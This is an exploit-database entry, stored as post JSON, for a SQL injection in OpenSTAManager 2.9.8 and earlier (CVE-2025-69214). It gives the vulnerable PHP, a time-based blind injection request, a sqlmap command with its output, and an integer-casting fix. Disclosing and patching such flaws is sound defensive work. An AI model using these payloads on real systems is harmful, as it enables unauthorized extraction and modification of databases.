{“lastseen”:”2026-04-13T15:50:48″,”description”:”OpenSTAManager versions 2.9.8 and below suffer from a remote SQL injection vulnerability in ajaxselect.php…”,”published”:”2026-04-13T00:00:00″,”modified”:”2026-04-13T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 OpenSTAManager 2.9.8 SQL Injection”,”source”:””,”references”:””,”id”:”PACKETSTORM:218746″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-69214″],”sourceData”:”# CVE-2025-69214: OpenSTAManager has a SQL Injection in ajax_select.php (componenti endpoint)\\n \\n ## Overview\\n \\n | Field | Details |\\n |—|—|\\n | **CVE ID** | [CVE-2025-69214](https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2025-69214) |\\n | **Severity** | HIGH |\\n | **Advisory** | [View Advisory](https:\/\/github.com\/devcode-it\/openstamanager\/security\/advisories\/GHSA-qjv8-63xq-gq8m) |\\n | **Discovered by** | [Lukasz Rybak](https:\/\/github.com\/lukasz-rybak) |\\n \\n ## Affected Products\\n \\n – **devcode-it\/openstamanager** (versions: \\u003c= 2.9.8)\\n \\n \\n ## CWE Classification\\n \\n – CWE-89: Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)\\n \\n ## Details\\n \\n ## Summary\\n A SQL Injection vulnerability exists in the `ajax_select.php` endpoint when handling the `componenti` operation. An authenticated attacker can inject malicious SQL code through the `options[matricola]` parameter.\\n \\n ## Proof of Concept\\n \\n ### Vulnerable Code\\n **File:** `modules\/impianti\/ajax\/select.php:122-124`\\n \\n “`php\\n case ‘componenti’:\\n $impianti = $superselect[‘matricola’];\\n if (!empty($impianti)) {\\n $where[] = ‘`my_componenti`.`id_impianto` IN (‘.$impianti.’)’;\\n }\\n “`\\n \\n ### Data Flow\\n 1. **Source:** `$_GET[‘options’][‘matricola’]` \u2192 `$superselect[‘matricola’]`\\n 2. **Vulnerable:** User input concatenated directly into `IN()` clause without sanitization\\n 3. **Sink:** Query executed via AJAX framework\\n \\n ### Exploit\\n \\n **Manual PoC (Time-based Blind SQLi):**\\n “`http\\n GET \/ajax_select.php?op=componenti\\u0026options[matricola]=1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND (1 HTTP\/1.1\\n Host: localhost:8081\\n Cookie: PHPSESSID=\\u003cvalid-session\\u003e\\n “`\\n \\u003cimg width=\\”1306\\” height=\\”581\\” alt=\\”image\\” src=\\”https:\/\/github.com\/user-attachments\/assets\/238015dd-5644-4eed-ae8f-864dc0073011\\” \/\\u003e\\n \\n **SQLMap Exploitation:**\\n “`bash\\n sqlmap -u ‘http:\/\/localhost:8081\/ajax_select.php?op=componenti\\u0026options[matricola]=1*’ \\\\\\n –cookie=\\”PHPSESSID=\\u003csession\\u003e\\” \\\\\\n –dbms=MySQL \\\\\\n –technique=T \\\\\\n –level=3 \\\\\\n –risk=3\\n “`\\n \\n **SQLMap Output:**\\n “`\\n [INFO] URI parameter ‘#1*’ appears to be ‘MySQL \\u003e= 5.0.12 AND time-based blind (query SLEEP)’ injectable\\n Parameter: #1* (URI)\\n Type: time-based blind\\n Title: MySQL \\u003e= 5.0.12 AND time-based blind (query SLEEP)\\n Payload: options[matricola]=1) AND (SELECT 7438 FROM (SELECT(SLEEP(5)))grko)– SvRI\\n back-end DBMS: MySQL \\u003e= 5.0.12\\n “`\\n \\u003cimg width=\\”1228\\” height=\\”801\\” alt=\\”image\\” src=\\”https:\/\/github.com\/user-attachments\/assets\/b0b7078b-09a7-4e53-956c-baf1d09ed59b\\” \/\\u003e\\n \\n ## Impact\\n – **Data Exfiltration:** Time-based blind SQL injection allows complete database extraction\\n – **Authentication Bypass:** Access to sensitive component and equipment data\\n – **Data Manipulation:** Potential unauthorized modification of records\\n \\n ## Remediation\\n \\n Cast values to integers before using in SQL:\\n \\n **Before:**\\n “`php\\n $impianti = $superselect[‘matricola’];\\n if (!empty($impianti)) {\\n $where[] = ‘`my_componenti`.`id_impianto` IN (‘.$impianti.’)’;\\n }\\n “`\\n \\n **After:**\\n “`php\\n $impianti = $superselect[‘matricola’];\\n if (!empty($impianti)) {\\n $ids = array_map(‘intval’, explode(‘,’, $impianti));\\n $where[] = ‘`my_componenti`.`id_impianto` IN (‘.implode(‘,’, $ids).’)’;\\n }\\n “`\\n \\n ## Credit\\n Discovered by: \u0141ukasz Rybak\\n \\n ## References\\n \\n – https:\/\/github.com\/devcode-it\/openstamanager\/security\/advisories\/GHSA-qjv8-63xq-gq8m\\n – https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2025-69214\\n – https:\/\/github.com\/advisories\/GHSA-qjv8-63xq-gq8m\\n \\n \\n ## Disclaimer\\n \\n This CVE was responsibly disclosed following coordinated vulnerability disclosure practices. The information provided here is for educational and defensive purposes only.”,”sourceHref”:”https:\/\/packetstorm.news\/download\/218746″,”cvss”:{“score”:8.8,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/218746\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-04-13T15:50:48″,”description”:”OpenSTAManager versions 2.9.8 and below suffer from a remote SQL injection vulnerability in ajaxselect.php…”,”published”:”2026-04-13T00:00:00″,”modified”:”2026-04-13T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 OpenSTAManager 2.9.8 SQL Injection”,”source”:””,”references”:””,”id”:”PACKETSTORM:218746″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-69214″],”sourceData”:”# CVE-2025-69214: OpenSTAManager has a SQL Injection in…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,41,12,15,13,53,7,11,5],"class_list":["post-46320","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-88","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n